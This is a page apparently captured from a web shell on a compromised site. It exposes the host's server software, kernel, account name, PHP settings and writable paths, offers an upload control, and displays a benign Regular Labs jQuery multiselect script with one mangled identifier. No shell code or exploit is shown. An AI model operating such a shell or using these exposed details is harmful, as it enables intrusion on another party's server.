NexusLeads Webshell
NexusLeads


Server : LiteSpeed
System : Linux server 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : alsaif ( 1057)
PHP Version : 7.4.33
Disable Function : show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/alsaif/domains/alsaif.group/public_html/media/regularlabs/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alsaif/domains/alsaif.group/public_html/media/regularlabs/js/multiselect.js
/**
 * @package         Regular Labs Library
 * @version         23.9.3039
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

"use strict";

if (typeof window.RegularLabsMultiSelect === 'undefined'
    || typeof RegulaRegularLabsMultiSelectrLabsForm.version === 'undefined'
    || RegularLabsMultiSelect.version < '23.9.3039') {

    (function($) {
        $(document).ready(function() {
            $('.rl_multiselect').each(function() {
                RegularLabsMultiSelect.init($(this));
            });
        });

        window.RegularLabsMultiSelect = {
            version: '23.9.3039',

            init: function(element) {
                const self      = this;
                const controls  = element.find('div.rl_multiselect-controls');
                const list      = element.find('ul.rl_multiselect-ul');
                const menu      = element.find('div.rl_multiselect-menu-block').html();
                const maxHeight = list.css('max-height');

                list.find('li').each(function() {
                    const $li  = $(this);
                    const $div = $li.find('div.rl_multiselect-item:first');

                    // Add icons
                    $li.prepend('<span class="pull-left icon-"></span>');

                    // Append clearfix
                    $div.after('<div class="clearfix"></div>');

                    if ( ! $li.find('ul.rl_multiselect-sub').length) {
                        return;
                    }

                    // Add classes to Expand/Collapse icons
                    $li.find('span.icon-').addClass('rl_multiselect-toggle icon-minus');

                    // Append drop down menu in nodes
                    $div.find('label:first').after(menu);

                    if ( ! $li.find('ul.rl_multiselect-sub ul.rl_multiselect-sub').length) {
                        $li.find('div.rl_multiselect-menu-expand').remove();
                    }
                });

                // Takes care of the Expand/Collapse of a node
                list.find('span.rl_multiselect-toggle').click(function() {
                    const $icon = $(this);

                    // Take care of parent UL
                    if ($icon.parent().find('ul.rl_multiselect-sub').is(':visible')) {
                        $icon.removeClass('icon-minus').addClass('icon-plus');
                        $icon.parent().find('ul.rl_multiselect-sub').hide();
                        $icon.parent().find('ul.rl_multiselect-sub span.rl_multiselect-toggle').removeClass('icon-minus').addClass('icon-plus');

                        return;
                    }

                    $icon.removeClass('icon-plus').addClass('icon-minus');
                    $icon.parent().find('ul.rl_multiselect-sub').show();
                    $icon.parent().find('ul.rl_multiselect-sub span.rl_multiselect-toggle').removeClass('icon-plus').addClass('icon-minus');

                });

                // Takes care of the filtering
                controls.find('input.rl_multiselect-filter').keyup(function() {
                    const $text = $(this).val().toLowerCase();

                    list.find('li').each(function() {
                        const $li = $(this);

                        if ($li.text().toLowerCase().indexOf($text) < 0) {
                            $li.hide();
                            return;
                        }

                        $li.show();
                    });
                });

                // Checks all checkboxes in the list
                list.find('input').on('change', function() {
                    self.updateCounts(this.closest('.rl_multiselect'));
                });

                // Checks all checkboxes in the list
                controls.find('a.rl_multiselect-checkall').click(function() {
                    list.find('input').prop('checked', true);
                    self.updateCounts(this.closest('.rl_multiselect'));
                });

                // Unchecks all checkboxes in the list
                controls.find('a.rl_multiselect-uncheckall').click(function() {
                    list.find('input').prop('checked', false);
                    self.updateCounts(this.closest('.rl_multiselect'));
                });

                // Toggles all checkboxes in the list
                controls.find('a.rl_multiselect-toggleall').click(function() {
                    list.find('input').each(function() {
                        const $input = $(this);

                        $input.prop('checked', ! $input.prop('checked'));
                    });
                    self.updateCounts(this.closest('.rl_multiselect'));
                });

                // Expands all sub-items in the list
                controls.find('a.rl_multiselect-expandall').click(function() {
                    list.find('ul.rl_multiselect-sub').show();
                    list.find('span.rl_multiselect-toggle').removeClass('icon-plus').addClass('icon-minus');
                });

                // Hides all sub-items in the list
                controls.find('a.rl_multiselect-collapseall').click(function() {
                    list.find('ul.rl_multiselect-sub').hide();
                    list.find('span.rl_multiselect-toggle').removeClass('icon-minus').addClass('icon-plus');
                });

                // Shows all selected items in the list
                controls.find('a.rl_multiselect-showall').click(function() {
                    list.find('li').show();
                });

                // Shows all selected items in the list
                controls.find('a.rl_multiselect-showselected').click(function() {
                    list.find('li').each(function() {
                        const $li = $(this);
                        let $hide = true;

                        $li.find('input').each(function() {
                            if ($(this).prop('checked')) {
                                $hide = false;
                                return false;
                            }
                        });

                        if ($hide) {
                            $li.hide();
                            return;
                        }

                        $li.show();
                    });
                });

                // Maximizes the list
                controls.find('a.rl_multiselect-maximize').click(function() {
                    list.css('max-height', '');
                    controls.find('a.rl_multiselect-maximize').hide();
                    controls.find('a.rl_multiselect-minimize').show();
                });

                // Minimizes the list
                controls.find('a.rl_multiselect-minimize').click(function() {
                    list.css('max-height', maxHeight);
                    controls.find('a.rl_multiselect-minimize').hide();
                    controls.find('a.rl_multiselect-maximize').show();
                });

                // Take care of children check/uncheck all
                element.find('a.checkall').click(function() {
                    const $parent = $(this).parent().parent().parent().parent().parent().parent();

                    $parent.find('ul.rl_multiselect-sub input').prop('checked', true);
                });

                element.find('a.uncheckall').click(function() {
                    const $parent = $(this).parent().parent().parent().parent().parent().parent();

                    $parent.find('ul.rl_multiselect-sub input').prop('checked', false);
                });

                // Take care of children toggle all
                element.find('a.expandall').click(function() {
                    const $parent = $(this).parent().parent().parent().parent().parent().parent().parent();

                    $parent.find('ul.rl_multiselect-sub').show();
                    $parent.find('ul.rl_multiselect-sub span.rl_multiselect-toggle').removeClass('icon-plus').addClass('icon-minus');
                });

                element.find('a.collapseall').click(function() {
                    const $parent = $(this).parent().parent().parent().parent().parent().parent().parent();

                    $parent.find('li ul.rl_multiselect-sub').hide();
                    $parent.find('li span.rl_multiselect-toggle').removeClass('icon-minus').addClass('icon-plus');
                });

                element.find('div.rl_multiselect-item.hidechildren').click(function() {
                    const $parent = $(this).parent();

                    $(this).find('input').each(function() {
                        const $sub   = $parent.find('ul.rl_multiselect-sub').first();
                        const $input = $(this);

                        if ($input.prop('checked')) {
                            $parent.find('span.rl_multiselect-toggle, div.rl_multiselect-menu').css('visibility', 'hidden');
                            if ( ! $sub.parent().hasClass('hidelist')) {
                                $sub.wrap('<div style="display:none;" class="hidelist"></div>');
                            }

                            return;
                        }

                        $parent.find('span.rl_multiselect-toggle, div.rl_multiselect-menu').css('visibility', 'visible');
                        if ($sub.parent().hasClass('hidelist')) {
                            $sub.unwrap();
                        }
                    });
                });
            },

            updateCounts: function(container) {
                $(container).find('.rl_multiselect-count-selected').html(
                    $(container).find('ul.rl_multiselect-ul input:checked').length
                );
            }
        };
    })(jQuery);
}

NexusLeads